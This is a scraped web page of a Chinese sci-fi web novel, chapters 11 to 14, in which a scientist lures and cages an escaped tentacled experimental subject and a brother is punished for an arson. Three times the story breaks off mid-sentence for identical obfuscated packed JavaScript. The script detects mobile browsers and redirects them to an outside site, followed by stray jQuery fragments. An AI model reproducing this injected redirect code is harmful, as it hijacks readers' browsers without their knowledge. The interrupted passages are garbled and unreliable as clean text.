“我觉得不妥,虽说7092是人造异种,但也是按流程提取基因,从胚胎一步步长大,并且已经拥有强烈的自我认知了,J区的深海动物研究所里都是普通动物,你把一个有自我意识的异种送进去算什么?后区的异种还满街跑呢,你是怎么定义人类的范畴的?”
“好,就你最有道德和同理心,那你说说具体该怎么处理7092?总部以往怎么处理废弃生物体,你们还不清楚吗?”
众人吵吵嚷嚷的,其中有资历较浅的科学家好奇起来,“总部以往是怎么处理的?”
喧哗的声音止住,大家沉默着。
闻央走了过来,手中拿着一份文件,说:“总部让我们终止实验,他们的意思就是销毁实验体7092。”
文件放在会议室的圆桌上,上面是瞩目的红字,“关于停止四号实验的通知”。
大家眼巴巴地看向闻央。
她却什么都没说,拿起桌上的文件,双手把它揉成一团,精准地扔到垃圾桶里。
闻央神色淡淡地道:“今天下班前大家先把自己的私人物品都清空,明天是节假日了,有什么事情假期后再商量。”
众人纷纷散开。
闻央独留在会议室里,她可以透过门上的玻璃看到培养皿内的青年。
他缩在角落酣眠,只能看到裸露的后背以及那一头毛茸茸的银白短发,八根触手此刻也陷入沉睡,安静得像是一副色彩浓艳的油画。
11. 触手怪物(11)
“这里是实时气候报道,A区即将迎来特大暴风雨天气,预计降水量大、风速强。请关闭门窗,非必要不出门,暴风雨持续至明日凌晨,请大家注意安全......”
天空中已经飘起了细细密密的毛毛雨,雨滴落在悬浮车的前挡风玻璃上,雨刮器检测到水珠,自动开启。
它如同机器人手臂般一刮一动,水花四射,高空中的悬浮车紧密地排成一列,车喇叭声连绵起伏。
前方堵车了。
闻央关掉广播,放起舒缓的轻音乐,她拉下背椅,设置自动驾驶后躺了下来。
A区的早晚高峰很堵,若是遇上雨天更堵。
车顶朝两边移开,露出透明的天窗,雨滴落在玻璃上,形成了花朵般的涟漪。
悬浮车如蜗牛般朝前开着,闻央静静地盯着天窗,看着上面慢慢流向四周的清澈水纹。
这是人工降雨。
她知道在看不清的极高处,有一层坚如磐石的保护罩,保护罩外应是狂风暴雨。
那是属于诺亚星的自然雨季,而雨天同样也是古地球的自然天气。
自建立起保护罩后,人类就失去了体验雨雪天的机会,因此每当监测到诺亚星下雨,保护罩内也会恰如其分地进行人工降雨。
绵绵细雨斜飘着,很快,车窗被水模糊成一片,窗外是招摇的霓虹色广告招牌,但隔着水汽看不清上面的字。
因为堵车,闻央回到家已经有点迟了。
她换下外衣,套上白色的丝绸长裙,走进浴室。
闻央散开头发,一头如丝绸般柔顺的灰发自然地垂落在后背,其中几缕落在锁骨上。
热水从水管里“哗哗”地流出,浴缸渐渐被水流填满,白色的雾气蔓延着爬上镜子。
......
外面是倾盆大雨,实验室里清冷寂静,所有人都回家了,只留下了几盏昏暗的灯。
青年抱着膝盖睡在触手上,睡得并不安稳,长长的睫毛微颤,像是在做噩梦。
“滋。”
“滋滋。”
他睁开眼,发现天花板上的灯忽明忽灭,很快,像是电流负载过重,它们在某一刹那完全地熄灭了,实验室变得一片漆黑。
“咦,怎么回事?灯怎么灭了?”
“灭了好啊,我喜欢黑暗,黑乎乎的多好,谁也看不见谁。”
“好困呀,我们继续睡觉吧。”
青年听着大脑里叽叽喳喳的声音,换了个姿势,闭上眼睛。
“咔嚓。”很轻微的声音,像是锁扣弹开了。
他不会忘记这道熟悉的声音,这些天,那些科学家想要进入培养皿都要打开门锁,而门锁被打开时就会发出这样的响声。
青年陡然立起,用可以在夜间视物的眼望去,游走到出口处。
门开了一条小小的缝隙,迟疑片刻后,他抬起一条触手,勾住门。
门开了。
触手蠕动着往外爬,这是青年第一次离开培养皿。
他好奇地在实验室游荡,路过的地上留下湿漉漉的水痕,最后停留在全景梯舱面。
颅内响起一道兴致勃勃的声音,“让我说让我说,我知道这是什么!”
“我之前看到妈妈,不对,是坏女人每次都坐着这个离开的,”它的语气带着点忐忑,“不如我们去找坏女人吧。”
其他触手纷纷附和,“好呀好呀,我们去找坏女人。”
“可实验室不是停电了吗?”
“没有电,这个玩意还能启动吗?我们还能顺利离开吗?”
“而且我们不知道坏女人住在哪里呀?”
“这个我知道,我刚才看到了文件上写着她的住址。”
“那——我们长得和那些两条触手的人类不一样,会不会被抓起来?”
触手们吵闹极了,抛出无数个问句。
青年没有理睬它们,抬起骨节分明的手,手指按住全景梯舱旁的按钮。
幽暗的绿色指示灯亮起,梯门打开了。
里面光源正常,白色的顶灯亮起,他身下的触手迫不及待地挤了进去。
“咚。”门闭合的声音在空旷的实验室回响。
门上映出面无表情的青年,他长得很好看,圆眼似猫眼,挺直的鼻梁下是浅粉色的唇,下颚线清晰凌厉,再往下是肌肉分明的胸腔以及八块腹肌。
不能再往下了。
因为下面是八条庞大的粉色触手,它们宛若肉感的虬枝,无时无刻都在如同呼吸般微微起伏,又像是美艳的食肉花,下一秒即将吞噬一无所知落在花骨朵上歇息的猎物。
这样的撕裂感破坏了青年绮丽的面容,带来了一种恐惧的非人感。
而此时,这些看着恶心恐怖的触手正在黏黏糊糊地欢呼着。
“主体最棒啦!”
“聪明主体,我们终于可以出去玩了。”
其中,一条不常发言的触手突然认真地道:“可是很奇怪啊,为什么实验室停电了,电梯却没有停电?”
其他触手的声音止住了。
“或许实验室的供电系统和电梯的供电系统不是同一套,这些课本上都有,你有没有好好学习吗?”另一道声音反驳道。
其他触手纷纷嚷嚷。
“就是就是,你有认真学吗?”
“它最爱偷懒了,每次学习的时候都在睡大觉,羞羞。”
被群起而攻之的触手委偷偷抽泣,不再说话,其他触手继续欢呼雀跃。
“我们要出去玩啦。”
“我要去找妈妈啦~”
“痛痛痛!”触手的声音委屈极了,童音叭叭叭的,对旁边的触手大喊道,“你干嘛打我?”
“是坏女人,”旁边的触手小声地提醒着,“主体现在特别讨厌她,我们也是主体的一部分,要齐心协力,知道吗?”
被打的触手反应过来,疯狂点头,在地上扭来扭去的,拉长语调,“嗯嗯,我们要去抓坏女人啦~”
青年垂眼,没有搭理它们。
梯门开了,面前又是一道打开的大门。
那道向来紧闭、需要瞳孔解锁的金属大门不知为何打开了,整个实验室松垮得完全没有防护。
他的出逃是不可思议的顺利。
但他才不管那么多。
触手蠕动着向前,在即将离开最后一道防线的时候,青年忽然停住了,他的身影渐渐和外界背景化为同色。
这是章鱼的拟态特性。
拟态成功的青年走出了实验室,离开前他扭头,最后看了一眼培养皿。
“对哦,我们还可以拟态!”
“主体真聪明,明明最开始
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880990|159822||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他还傻乎乎地问我们他是谁。”
“出发!我们的征途是——坏女人家。”
.......
浴缸上漂浮着一层干花,浴缸的自动按摩系统正在启动,水面冒出细微水泡,闻央泡在热水里,整张脸在蒸汽里如桃花一样粉红。
她困得昏昏欲睡。
“叮。”
“叮叮。”
终端里不停传来的响声把她震醒了,打了个哈欠后,她点开其中一条语音。
“闻教授,实验室电力失灵了!目前监测不到实验体7092的状态。”声音的主人十分焦急。
闻央点开下一条。
“我就在附近,我先赶去实验室看一看情况。”
“闻教授,实验室起火了!公司的安保部正在灭火,我查看了公司的监控,没有拍到可疑生物,它应该还在里面......”声音的主人似乎松了口气,忽然又想到什么,声音变得干涩起来,“闻教授,7092可能还在实验室里......”
长长的沉默,随后是各种脚步声,以及人群的声音。
“闻教授,实验室里的一切都被大火毁了,包括资料室里珍贵的纸质文件,还好大伙下班前都把个人物品带走了。”
声音的主人语气悲恸,“原本是培养皿的地方只剩下一堆灰烬,还有部分生物组织,目前还不能得知是否是实验体的残骸,但有极大概率是......”
他叹气着,虽然早已预料到实验体的结局,但没想到如此突兀,他实在想不明白,好端端的实验室怎么会起火。
科学家放下手中的终端,眉眼哀痛地看着面前的废墟,似乎能看到实验室昔日的光景。
明知道实验室即将解散,也做好了离开的打算,但看着实验室被火烧去一切,曾经的繁华变成眼前的这一团废墟,他的鼻子就发酸,他试图在废堆里寻找自己的工位,却分辨不出来。
闻央关闭终端。
她朝下滑动,直到整个人埋进水里。
水温正好,不烫不冷,闻央在水里闭上眼,灰色的头发如同水中雾,干花吸足水分变得鲜艳夺目,漂浮在灰色的长发之间,缓缓绽开。
她环抱膝盖,整个人在巨大的浴缸里向下翻去,露出白皙的背。
灰发上的水淋淋漓漓地沿着细腻的皮肤纹路落回水中,留下一条条透明曲折的水痕。
过了许久,也没多久,她如同一条鱼般猛然从水中扎起,湿哒哒的水从头发上顺着流下,其中一滴水珠落在了浅灰色的睫毛上,本就微垂的睫毛向下压了压,最后在她睁眼的瞬间,滴了下去,恰好滴在盛开的花蕊上。
闻央大口地呼吸。
她贪恋在水中的那片刻宁静,万物俱寂,耳里只剩下细微的水流声。
终端亮起,上面显示着二十一点整。
闻央从水里站起,拿干毛巾拧干了头发,擦干后套上睡裙。
镜子上的雾气在镜面自带的高温加热下迅速散去,露出了女人精致的脸。
她的面颊被热气蒸得嫣红,这抹红一直爬到脖颈和耳后,耳钻静静地搁置在水池的干燥之处,闻央伸出素白的手指,捏起。
与此同时,大门外,同周围化为一色的触手青年也伸出了如艺术品般有骨感的手。
他握住把手,轻而易举地打开了房门。
12. 触手怪物(12)
“咔嚓。”
听到门把手的声音后,闻央的耳朵动了动,没有停下手中的动作,而是稍侧脖子,摸索着把耳钻底座了扣上去。
异形青年走进宽阔的公寓,身下的触手宛若有生命般地爬动着,他每挪动一下,地板上便会出现淡淡的水痕,很快又蒸发消失。
他打量着眼前这间公寓。
客厅没有开灯,窗外的微光透过玻璃落在地板和家具上,笼罩着一层朦胧的阴影。
人类或许看不清楚,但青年的眼睛更适合幽暗的环境。
他慢慢地扫视着四周。
在他的左侧,一扇门微微敞开,温馨的暖光从门缝中流淌出来,照亮了地面的一小块区域,驱散了小片的黑暗,阵阵暖气以及被热气扩大的香味正从中飘来。
他不自觉地翕动鼻翼,捕捉着空气中丝丝缕缕、延绵不断的味道。
这是让他基因蠢蠢欲动的香味。
青年眼眸冰冷,带着强烈的恨意。
他无法不恨。
培养皿内是连触手不能完全伸直的狭小空间,里面铺着一层浅浅如死水般的奇怪液体,他逃脱不了,只能日复一日地泡在里面。
坚固的玻璃外是一群他一根触手就能绞死的人类,他们正大光明地站在外面,端详中带着审视,分明弱的要死,却摆出那副高高在上的样子。
但更恨的便是她——闻央。
明明他们有相同的基因,她却和人类狼狈为奸,她看向他的眼神不是同类的惺惺相惜,而是不带丝毫情感的漠视,甚至比那些人类更甚。
他们的眼中偶尔还会露出欣赏、惊叹,但她完完全全没有。
她确实不是妈妈。
他要吃掉她。
青年的眼中划过一丝阴翳,属于怪物的本能占了上风,一想到即将把她抽筋剥皮,拆吞入腹,他就血脉贲张,激动得浑身肌肤泛起一层鸡皮疙瘩。
但在这之前,他要撕破她那张永远冷静平淡的脸。
青年强压下内心的兴奋,在黑暗中,他蠕动着身下的粉色触手,宛若行走于在艳花丛中,缓缓地靠近那束打在地面上的暖光。
闻央看着镜子里的自己,放下捏着耳垂的指尖,青葱般的手指触摸台面,耳垂上的那颗耳钻在光的折射下熠熠生辉。
她勾起嘴唇。
暖气源源不断地朝门外散去,浴室里的温度正在迅速下降。
一股潮湿黏腻带着咸湿海水般的冷风陡然从背后出现,惊得后颈寒毛直竖。
香味忽然消失了。
但青年已经没空关注这点异常了,他的目光死死地落在闻央身上。
女人转过身,她穿着一条柔软的白色长裙,露出小巧的脚踝。
他的视线久久不能从上面移开。
原来人类的触手长这样?
不对,更规范来说,这是腿,他没有腿,只有八根触手。
底下的触手闹腾着:“坏女人!坏女人!抓住她。”
“快,我好想碰碰她。”
“不行!要我先碰她。”
“让让我,我要碰!”
“我先碰!”
它们的声音此起彼伏,挤挤攘攘的。
下一秒,所有的声音陡然消失,青年的大脑里安静得像是它们从来没有存在过。
因为——
他控制住其中一条,径直地卷住女人的脖颈。
她被触手压得整个人向后倾斜,只能用双手紧紧地捏住洗手池的边缘来稳固身形,半湿的灰发压在镜子上,如枝蔓般黏在上面,镜面宛如出现了一条条裂纹。
快要呼吸不了了,闻央如此想着。
看似软绵绵的软体生物牢牢地锁住她的喉咙,它如同在凌迟般地一点点向上抬起,闻央能感觉到自己的脚已经离地,她发白的指尖深深地陷入粉色的软肉中,用手使劲地抠着触手,试图拉出一丝微薄的空隙,能让自己大吸一口气。
但触手越缠越紧。
眼里流出生理性的泪水,眼前开始模糊,头顶的亮光糊成一片。
一个激灵后,在生死攸关之际,闻央的大脑迅速冷静下来,她与本能抗衡,最后手指动了动,违抗本能地松开,向下摸去,她拿出绑在大腿上的银色匕首,死死地朝触手捅进去。
刀尖刺入软肉,没有发出声音。
一切发生在电光火石之间,触手猛地松开,闻央整个人掉落到地上。
她的大脑“嗡嗡”地响,缺失的氧气不断地涌入胸腔,意识渐渐回笼,一阵恍惚后甚至不知道自己刚才是怎么做到的。
她伸出手,盯着发红的手掌,匕首摔落在旁,刀尖上沾染着蓝血,不恐怖,反而让人一眼联想到古老遥远的海洋,在海洋深处,那里的水也是这样冰冷的蓝色。
垂危之际,心脏中似乎有什么东西叫嚣着即将要冲出来,而现在——
闻央抚摸胸口,心脏平静下来,缓和地跳动着,一下又一下。
蓝色的血液染蓝了她白裙,像是扎染上的花纹。
触手受痛后在高空乱晃,一击打中击镜子,随着一声“咔嚓”后,镜子裂出无数纹路,碎成了一片片,如同下雨般淋淋漓漓地落在洗手台、地上以及闻央的身上。
一片锋利的碎片飞划过她纤细脆弱的脖子,一滴鲜红的血液从细小的划痕中冒了出来。
闻央捂住脖子,修长的脖颈微垂着,如同一株被晨露压得微微弯身的纯白茉莉。
“好痛好痛。”
“痛痛痛痛。”
八个不同的声音连续地在青年的大脑里大叫。
他收回触手,看着洁白的地砖上洒落的淡淡蓝血以及一抹红。
那滴鲜血和旁边那滩蓝血融合在一起,变成了深紫色,随着液体的流动,紫色越来越浅。
浓郁的香味从鲜血里冒出来,他的眼竖成一条可怖的白线,浑身上下都在喊着“吃掉她。”
不行,不能,至少现在还不能。
触手伤口上的刺痛感让青年发胀的大脑变得清醒。
若是这样轻而易举地杀了她,岂不是让她死得太过轻松?
青年躲在黑暗中,看向闻央。
她无力地半坐在地上,灰发凌乱地贴在面颊上。
女人捂着脖子,素白的手指下是淡淡的红痕,这是他掐出来的,他刚才.......有这么用力吗?
青年猫似的圆眼露出迷惘来。
他不着痕迹地朝旁挪了一步,本就看不见的身影被门又挡住大半。
他露出两只眼睛继续偷看闻央。
她灰色的眸子水漉漉的,面颊绯红,那几粒雀斑在红红的鼻尖上极为明显。
“咳咳。”
她重重地咳嗽几声,旁边满是闪着锋芒的玻璃碎片,几乎无路可走。
闻央看上去可怜极了,看到了这样的她,青年的内心却没有得到满足。
触手上的创口已经修复,它完好如初
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880991|159822||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地趴在地上,欢快地扭动,但她——
脖子上伤口怎么还在流血?
她脆弱得像是一个瓷器娃娃,方才自己压根用多大劲,她就气喘吁吁,宛若濒死。
算了,他马上就会吃掉她。
但她受伤了.......
受伤的猎物不好吃。
他不喜欢不完美的食物。
青年找到了一个暂时不吃她的理由,心满意足地想,等脖子上的那道伤口愈合结痂,他再吃她。
闻央捂着胸口咳嗽几声,看了看周围满是玻璃碎渣的地砖,小心地扶着水池站了起来。
危机下,她的大脑异常冷静,飞速地转着,实验体7092现在不再有攻击性了,整个人躲在门后看着她。
她需要把他引进来。
她清了清嗓子,避开底下的玻璃渣,朝旁边走。
“7092?”闻央声音如同蚊音,不是不想大声,而是喉咙太疼。
门后的异形青年又往黑暗中挪动一边,连带着扒在门上软趴趴的触手都看不见了。
她光裸着脚站在原地直直地朝黑暗中看去。
青年甚至觉得她可以看到自己。
他的八条触手丑陋畸形,对比着两条腿又细又长的女人,他心中陡然升腾一种未知的恐惧。
恐惧她那对美丽的眸子里露出嫌恶。
恐惧她浅红色的唇里张开,吐露出如同刻薄尖酸的话语,“你很丑、你是怪物。”
心底好像被酸酸涩涩的泡泡填满,八条触手狰狞地绕在一起,它们在颅内又哭又喊的。
“你快去找坏女人和好吧!”
“她本来就不喜欢我们,现在我们伤害了她,她要是更不喜欢我们了怎么办?”
“是你的错,驱使我去欺负坏女人,她要是不喜欢我了,我和你没完!不要以为你是主体,我就会怕你。”
青年屏蔽大脑内的这些声音。
还是吃了她吧,他阴郁地想着。
他可不是什么怪物,他拥有漂亮的触手,况且人们看到他的脸时总会露出惊艳的神情,想必以人类的审美来看,自己是极其好看的。
青年这样想着,无端生出几分自信来。
他抬起触手,一点点游走到暖光下,露出了真容。
他向下压着眉毛,使劲压着嘴角,努力做出一副凶狠恶煞的样子。
别说,这样闪亮出场的怪物还真让闻央一怔。
青年的圆眼瞪得恶狠狠的,嘴巴像是受了委屈般地撇着,嘴角那颗浅粉色的小痣也跟着向下垂,怪抢眼的。
他自以为气势很强地走了进来,殊不知自己像极了一只离家出走的小狗。
闻央忍不住笑了。
她灰眸里仿佛盛着浅浅星辉,白嫩的面颊露出两个好看的小酒窝。
异形青年挪动的步伐停了一瞬。
她......笑了?
这是她第一次朝自己笑。
触手们在脑内狂欢。
“我就说嘛!坏女人是喜欢我们的。”
“我们最好看。”
“妈妈笑起来真好看。”
“我希望妈妈天天冲我们笑。”
此时,已经没有触手去纠正别的触手的口误,它们开心极了。
触手蠕动的幅度轻快得宛若在跳舞,青年面颊上浮起一层浅粉色的晕,心中好似被绵软的云填满。
那就......先不吃她了。
13. 触手怪物(13)
闻央微抬脖子,露出上面明显的红痕,它已经变淡,脖子侧面那条浅浅的伤口不再流血。
微潮的灰发垂落在锁骨上,她用手捋了捋后把头发披在背后。
她低头看了看满地的碎渣,踮起脚尖仔细避开,朝浴缸走去。
浴缸里温热的水变得冰凉,闻央朝后瞥去,异形青年紧随她的步伐,慢慢地朝她所在的位置逼近。
他越来越近了。
他离她不过小臂距离。
这是闻央第二次近距离地观察他。
但与先前不同的是,实验体不再被任何束缚,她甚至能感觉到他清浅的呼吸。
那八条富有生命力如同庞大虬干的粉色触手离她很近,它们缓慢地蠕动,黏糊糊地缠绕在一块,触尖蜷缩着,宛若在害羞般。
触手的颜色肉眼可见地加深。
浅粉色的触手变成深红色,连带着上面繁复的花纹都变深。
察觉到闻央的目光,触手晃啊晃地舒展开,触尖在空中勾了勾,仿佛在打招呼。
它们红得惊人,像是下一秒就要熟透的桃子,一掐就能冒出汁水来。
她朝青年的脸看去,他浓稠的睫毛颤了颤,脸红得和身下的触手一个色。
脑子里的欢声如雷:“我们离妈妈好近。”
“谁都不许伤害妈妈!”
“她在看我诶。”
“你胡说!她在看我。”
“她明明在看我。”
它们争执不休,连带着差点脱离控制在现实中缠在一起打起来。
或许是因为脱水太久,青年的唇起了皮,向来湿润、有光泽的浅粉色唇上起了干裂的唇纹,他下意识地舔了舔。
“你需要水吗?”她指了指盛满水的浴缸。
他的目光下意识瞟向浴缸,水面上飘着零星几朵半湿的干花,更多的已经湿透沉到水底。
他确实缺水了。
触手宛若海绵,吸足水分的海绵柔软绵密,一旦缺水,触手便会萎缩干瘪,若不是外面的那场大雨,他或许无法来到这里。
而且因为缺水,触手尖尖已经有点疼了。
但她会那么好心吗?
他之前听过白雪公主被恶毒的皇后毒死的故事,那她会用毒药水毒死他吗?
青年的触手动了动,迟疑地看向闻央。
在她鼓励的目光下,他把触手戳进了水里,如同解渴般舒爽,干巴巴的皮肤被冷水一泡,完全地舒展开来。
他想要更多。
异形青年贪恋地把八条触手都塞进了浴缸,不知不觉中,整个人都泡在水里,占领了整个浴缸。
除了扑鼻的花香,水里还有若隐若现的香气,似乎是她的味道。
肚子又隐隐饿起来。
他盘踞在浴缸上,在庞大触手的映衬下,比普通浴缸规格大上不少甚至可以称为浴池的浴缸显得逼仄起来。
触手们吸饱水分,畅快地动起来,其中黏糊糊的一根触手趁青年不注意,如同粉蛇一般贴着边缘向闻央游走。
它一边爬一边得意地想:哼,它要先和妈妈打招呼,让妈妈眼熟它。
别的触手不得羡慕妒恨的!
它昂首,触角尖尖不自知地抖了抖,就在即将触碰到她线条优美的脚踝是,一股不可抵抗的拉力从身后传来。
浴缸底部裂开了一个巨大的口子,纵使青年反应迅速,用触手勾住旁边,试图勾着爬上来,但没抵住强烈的电击。
不知何时,闻央跳了上来,光脚站在浴池的边缘,手中拿着闪烁着惊人雷电的高能量电击棒。
发丝黏在她的面颊上,灰眸专注地盯着他,冷静而淡漠。
一股浓烈的皮肉被烧焦的味道弥漫在整个浴室,强大有力的触手陡然松开,青年惊愕地看着闻央,整个人直直地摔进下层的泳池里。
他银白色的短发被电得竖起,掉进水里后,泳池表层瞬间沸腾一片,冒出阵阵白烟。
与此同时,一个巨大的笼子自高空落下,溅出大片水花,关住了青年。
“啪。”浴缸合上了,严丝合缝地看不出半点刚才的样子。
闻央放下电击棒,从浴缸上跳了下来。
虽然和她设想的有些偏差,但到底顺利地把7092逮住了。
浴室一片狼藉,白色地砖上满是碎玻璃渣以及干涸的蓝血。
这样的污浊本可以让诺亚启动自动清洁程序,几分钟就能恢复如初。
但闻央早已把诺亚关闭了。
虽然她知道人工智能会保护用户隐私,但不确定若是被它监测到家里出现一只异种,会不会启动安全警报自动帮她报警。
因为关闭诺亚,屋内的恒温恒湿也关闭了。
她只穿了一条单薄的睡裙,光脚站在冰冷的地砖上,刚才和7092对峙,紧张之下浑身发热,只顾着害怕手心出汗拿不住电击棒,现在一冷静下来,身上的汗半干不干的,冷得直打寒颤。
闻央穿上鞋披了件外套先到负层去看了眼实验体。
军用电击棒的威力果然不赖。
青年被禁锢在笼子里,整个人浮在水面上,触手拉耸地半垂着,头发上还残存着滋溜滋溜的细微电流。
“哗啦。”是大片地水声。
笼子从水里露出,连带着昏迷的青年从水中脱离,他的触手从笼子的间隙穿过,但因为躯体太过庞大,只能卡着露出几条触手尖尖。
淋漓不断的水落回水面,很快,笼子被抬着放到干燥的地面上。
闻央的手从操控杆上放下。
她看了一眼青年,离开了。
.......
水滴滴答答地落下,极有规律声音落在青年几乎绷直的成一条弦的大脑上。
滴
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880992|159822||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
答、滴答。
好吵。
水滴没有听到他的抱怨,尽责地滴落着,像是要把他残存的理智吞噬干净。
青年在幽暗中醒来,在睁眼的瞬间,瞳孔猛地放大,他置身于一粒巨大的水珠中。而这粒水珠四周满是密密麻麻的水滴,它们裹挟着风,席卷般地往地面摔去。
他透过水看向下面的水珠。
它一触地面便四分五裂,化成一摊水沫。
而正包裹着他的这粒水珠迅猛地下降,即将步入前者后尘。
危险!
青年左右观望,一个弹跳,伸出触手抓住上方的水珠,整个人直直地摔进去。
还来不及喘一口气,他余光瞥见逼近的地面,立马锁定更上方的水珠,触手如钩子般灵活地抓住,一跃一跳间,他的身影近乎残影。
水越来越密,他的速度越来越快。
耳边传来窃窃私语,他仿佛在一个庞然大物的嘴里,而这些滴落的水珠正是它的垂诞流下的唾液。
它并不存在于这个世界。
它没有轮廓,是超越维度的虚无形态,是比深渊更黑的存在,就连照束光过去,那里也只会吞没一切光线。
荒诞的低语围绕在青年的耳边,营造出一种无法言说的恐惧氛围。
他的瞳孔渐渐缩成一个黑点,身姿也愈发怪异起来,每一次起落都无声无息,弹跳的步伐带着一种扭曲诡异的不适感。
陡然间,一道道咋咋呼呼的童音掩盖住不可名状的呓语。
“我的触手尖尖好痛哦。”
“我们是不是被电焦了,我感觉我的头在冒星星。”
触手们的声音听起来晕乎乎的。
青年蹙眉紧闭的眼缓缓睁开,莫名其妙地松了口气。
他并不在什么诡诞的水珠上,要不停跳跃才能生存。
而是在一个笼子里。
笼子?
陡然间,青年回想起先前发生的事,不只是触手们,他的头也浑浑噩噩,过了许久,才勉强看清面前的笼子。
笼子几乎半墙高,如成年人手臂粗壮的金属杆泛着冷硬的光,周围萦绕着丝丝缕缕的电流,散发着令人畏惧的气息。
笼子的间隙不大不小,刚好只够探出一点触角尖尖。
“咔嚓。”门开了。
穿戴绝缘衣服的闻央走了进来。
青年趴在原处,看样子像是刚醒来,他银白色的短发根根立起,粉色的触手边缘焦黑,有气无力地落在地上,其中焦黑的一小截触手避开了两边电流,恰好落在笼子外面。
他神智尚未完全清醒,努力掀开眼皮,看着一步步向他走来的女人。
她踩到了他的触角尖尖上。
她似乎笑了笑,一阵银铃般清甜的声音响起。
他听到她说:“你好,实验体7092,正式见面,我叫闻央。”
14. 触手怪物(14)
“啪。”是什么东西打到皮肉上的声音。
办公室的门紧闭着,一根手杖狠狠地打在男人的背上。
他跪在地上,死死地咬住泛白的嘴唇,闷哼一声。
闻澜冬冷笑着,握住手中的黑檀木手杖,大拇指慢慢地摩挲着手柄上镶嵌的金丝。
他敛眼,低沉地道:“你知道你放的那把火对耳门科技造成了多大的损失吗?”
耳门科技失火的新闻第一时间登上了诺亚实时热榜,就算及时找了媒体压消息,但也晚了,股票震荡,耳门科技的市值凭空蒸发了不少。
“你知道多少人因为这把火通宵熬夜,又有多少人因为这把火倾家荡产吗?”
因为常年锻炼,闻松凌整个人看上去比闻澜冬宽厚不少,闻澜冬俯视着跪地的弟弟,眼里闪过一丝阴翳,他身形瘦削但不显单薄,下手的劲道极大,握住手杖,又是一抽。
闻松凌被打得身体微微向前,背上的衣服裂开几条口子,露出里面破皮的红痕。
闻澜冬似乎累了,他放下手杖,用修长的手指拿起洁白的镜布,慢条斯理地擦拭着金丝眼镜。
“范丁友那件事也是你做的吧。”他戴上金丝眼镜,看似恢复了温文儒雅的样子,但是镜片挡不住眼中的戾气。
闻松凌无言地跪在地上,垂眼,长长的睫毛遮挡住眼神的神色。
他长的和闻澜冬有几分相似,但比起大哥儒雅的气质,闻松凌长相冷峻,面上的线条也更锋利一些。
闻澜冬并不指望会得到答案,他坐下来,靠在真皮旋转椅上,试图抑制住怒火,但看到手边白纸黑字的文件,到底没控制住,抓住文件,直直地朝着闻松凌甩去。
“闻松凌,军区历练一番,你的胆子倒是愈发大了。”
白色的纸张如大雪般纷纷扬扬地落下,最上面印刷着醒目的黑体字“关于非法使用军用屏蔽设备干扰城市之眼行为的行政处罚决定”。
“你是不是觉得自己还小?还在玩过家家?视法律法规为儿戏,反正总有人会帮你兜底,”闻澜冬某一刹那气笑了,“这是诺亚发来的处罚通知,我已经打点过了,范家目前不知道,不然不知道他们会怎么落井下石......”
过了一会,他目光幽幽地补充道:“父亲也不知道。”
闻松凌仍然没有抬头,额头有一条浅浅的血痕,这是方才纸张飞来时划到的。
闻澜冬的目光落在上面,又看向他微微颤抖的上身,语气不疾不徐地道:“起来吧。”
话音刚落,站在墙角的仿生机器人动了起来,它走到闻松凌身边,两只手一架,想要把他提起。
“我......自己起来。”这是闻松凌今天说的第一句话。
他嗓音沙哑,干得宛若脱水已久的树枝,一点点地从喉咙摩擦着说出来,说完重重地咳嗽两声。
跪了太久,地砖的冷气入侵膝盖,膝盖已经僵硬麻木,闻松凌起来的瞬间几乎一抖,下一秒堪堪维持住身形,缓慢地站了起来。
常年在军营的训练让他纵使在疼痛下也能挺直脊背,背上的伤口火辣辣地疼,但闻松凌站得笔直,仿佛一颗挺拔的松树。
他握拳挡住嘴,又咳嗽一下。
闻澜冬抬起眼皮,“之前的内伤还没好?”
闻松凌沉默,随后点点头。
“坐吧。”
仿生机器人推来一把椅子,让闻松凌坐下来。
闻澜冬的怒气似乎完全消散,他面上平静,也正是这种蓦然的平静,有种山雨欲来风满楼的压抑。
他开始处理公务,翻阅着桌上的文件,宛若随口道:“你砸范丁友的悬浮车总不会是真的打算偷商业文件吧,从没见你管过公司的事。”
他嗤笑一声,发现自己袖口的扣环开了,放下手中的纸张,指尖捏住银色扣环,不疾不徐的动作透着一种难以接近的感觉。
扣上后,闻澜冬抬起头,镜片闪过一道白光,“若你放火是想要报复父亲当年把你送去军营,公司有这么多实验室,怎么偏偏选中闻央负责的那间?”
“好巧不巧,你砸范丁友悬浮车的那天恰好是他们两人相亲的日子。”
“闻松凌,你内心的想法昭然若揭。”
闻松凌紧盯地面,手心浸出一层薄薄的冷汗,后颈微微发麻,近乎抬不起头。
